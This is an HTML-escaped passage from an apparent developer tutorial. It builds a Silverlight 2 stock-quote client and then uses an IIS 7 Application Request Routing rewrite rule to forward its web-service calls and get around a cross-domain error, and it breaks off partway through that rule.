&lt;DIV class=code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;Grid&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; x:Name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="LayoutRoot"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Background&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Azure"&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;Grid.RowDefinitions&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;RowDefinition&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Height&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="30"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;RowDefinition&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Height&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="*"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;Grid.RowDefinitions&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;Grid.ColumnDefinitions&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;ColumnDefinition&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Width&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="50"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;ColumnDefinition&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Width&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="*"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;ColumnDefinition&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Width&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="50"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;Grid.ColumnDefinitions&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;TextBlock&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Column&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Row&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Text&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Symbol:"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;TextBox&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Column&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="1"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Row&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; x:Name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="_symbolTextBox"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;Button&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Column&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="2"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Row&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Content&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Go!"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Click&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Button_Click"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;ListBox&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Column&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.Row&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="1"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; x:Name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="_resultsListBox"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Grid.ColumnSpan&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="3"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ItemsSource&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="{Binding}"&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;ListBox.ItemTemplate&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;DataTemplate&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;StackPanel&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Orientation&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Horizontal"&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;TextBlock&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Text&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="{Binding Path=Name}"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; FontWeight&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Bold"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Foreground&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="DarkBlue"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;TextBlock&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Text&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=" = "&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;TextBlock&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; Text&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="{Binding Path=Value}"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;StackPanel&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;DataTemplate&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;ListBox.ItemTemplate&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;ListBox&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;Grid&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&lt;/FONT&gt; &lt;/DIV&gt;
&lt;LI&gt;Right click the Button_Click text above and select the "Navigate to Event Handler" context menu.&lt;/LI&gt;
&lt;LI&gt;Enter the following code to call the Web Service&lt;/LI&gt;
&lt;DIV class=code&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;private&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;Button_Click(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;object&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;sender,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;RoutedEventArgs&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;e)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;service&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;new&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;StockQuoteService.StockQuoteSoapClient()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;service.GetQuoteCompleted&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;+&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;service_GetQuoteCompleted&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;service.GetQuoteAsync(_symbolTextBox.Text)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt; &lt;/DIV&gt;
&lt;LI&gt;Now, since we are going to use XLINQ to parse the result of the Web Service which is an XML then we need to add the reference to System.Xml.Linq by using the Project-&amp;gt;Add Reference-&amp;gt;System.Xml.Linq.&lt;/LI&gt;
&lt;LI&gt;Finally, add the following function to handle the result of the Web Service&lt;/LI&gt;
&lt;DIV class=code&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;void&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;service_GetQuoteCompleted(&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;object&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;sender,&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;StockQuoteService.GetQuoteCompletedEventArgs&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;e)&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;{&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;var&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;el&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;System.Xml.Linq.XElement.Parse(e.Result)&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;_resultsListBox.DataContext&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;=&lt;/FONT&gt;&lt;FONT color=#808080&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#000000&gt;el.Element(&lt;/FONT&gt;&lt;FONT color=#808080&gt;"Stock"&lt;/FONT&gt;&lt;FONT color=#000000&gt;).Elements()&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;;&lt;/FONT&gt;&lt;FONT color=#808080&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#000000&gt;}&lt;/FONT&gt; &lt;/DIV&gt;&lt;/OL&gt;
&lt;LI&gt;Compile the application. Build-&amp;gt;Build Solution.&lt;/LI&gt;
&lt;LI&gt;At this point we are ready to test our application, to run it just navigate to &lt;A title=http://localhost/SampleClientTestPage.html href="http://localhost/SampleClientTestPage.html" mce_href="http://localhost/SampleClientTestPage.html"&gt;http://localhost/SampleClientTestPage.html&lt;/A&gt; or simply select the SampleClientTestPage.html in the Solution Explorer and click View In Browser.&lt;/LI&gt;
&lt;LI&gt;Enter a Stock Symbol (say MSFT) and press Go!, &lt;STRONG&gt;Verify that it breaks.&lt;/STRONG&gt; You will see a small "Error in page" with a Warning icon in the status bar. If you click that and select show details you will get a dialog with the following message:&lt;/LI&gt;
&lt;P&gt;&lt;STRONG&gt;Message: Unhandled Error in Silverlight 2 Application An exception occurred during the operation, making the result invalid.&amp;nbsp; &lt;/STRONG&gt;&lt;/P&gt;
&lt;H2&gt;&lt;/H2&gt;&lt;/OL&gt;
&lt;H2&gt;&lt;/H2&gt;
&lt;H2&gt;Enter Application Request Routing and IIS 7.0&lt;/H2&gt;
&lt;OL&gt;
&lt;LI&gt;Ok, so now we are running into the cross-domain issue, and unfortunately we don't have a cross-domain here is where ARR can help us call the service without writing more code&lt;/LI&gt;
&lt;LI&gt;Modify the Web Service configuration to call a local Web Service instead&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Back in Visual Web Developer, open the file &lt;STRONG&gt;ServiceReferences.ClientConfig&lt;/STRONG&gt;&lt;/LI&gt;
&lt;LI&gt;Modify the address="&lt;A title=http://www.webservicex.net/stockquote.asmx href="http://www.webservicex.net/stockquote.asmx" mce_href="http://www.webservicex.net/stockquote.asmx" ?&gt;http://www.webservicex.net/stockquote.asmx"&lt;/A&gt; to be instead address="&lt;A href="http://localhost/stockquote.asmx" mce_href="http://localhost/stockquote.asmx"&gt;http://localhost/stockquote.asmx&lt;/A&gt;", it should look like:&lt;/LI&gt;
&lt;DIV class=code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;client&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;endpoint&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; address&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="http://localhost/stockquote.asmx"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; binding&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="basicHttpBinding"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; bindingConfiguration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="StockQuoteSoap"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; contract&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="StockQuoteService.StockQuoteSoap"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="StockQuoteSoap"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt;&amp;nbsp;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;/&amp;gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/&lt;/FONT&gt;&lt;FONT color=#800000&gt;client&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt;&lt;/FONT&gt; &lt;/DIV&gt;&lt;/OL&gt;
&lt;LI&gt;This will cause the client to call the Web Service in the same originating server, now we can configure ARR/URL Rewrite rule to route the Web Service requests to the original end-point&lt;/LI&gt;
&lt;OL&gt;
&lt;LI&gt;Add a new Web.config to the &lt;A href="http://localhost/" mce_href="http://localhost"&gt;http://localhost&lt;/A&gt; project (Add new item-&amp;gt;Web.config)&lt;/LI&gt;
&lt;LI&gt;Add the following content:&lt;/LI&gt;
&lt;DIV class=code&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;?xml&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; version&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="1.0"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; encoding&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="UTF-8"?&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;configuration&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;system.webServer&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;rewrite&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;rules&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;gt;&lt;/FONT&gt;&lt;FONT color=#000000&gt; &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;&lt;FONT color=#0000ff&gt;&amp;lt;&lt;/FONT&gt;&lt;FONT color=#800000&gt;rule&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; name&lt;/FONT&gt;&lt;FONT color=#0000ff&gt;="Stock Quote Forward"&lt;/FONT&gt;&lt;FONT color=#ff0000&gt; 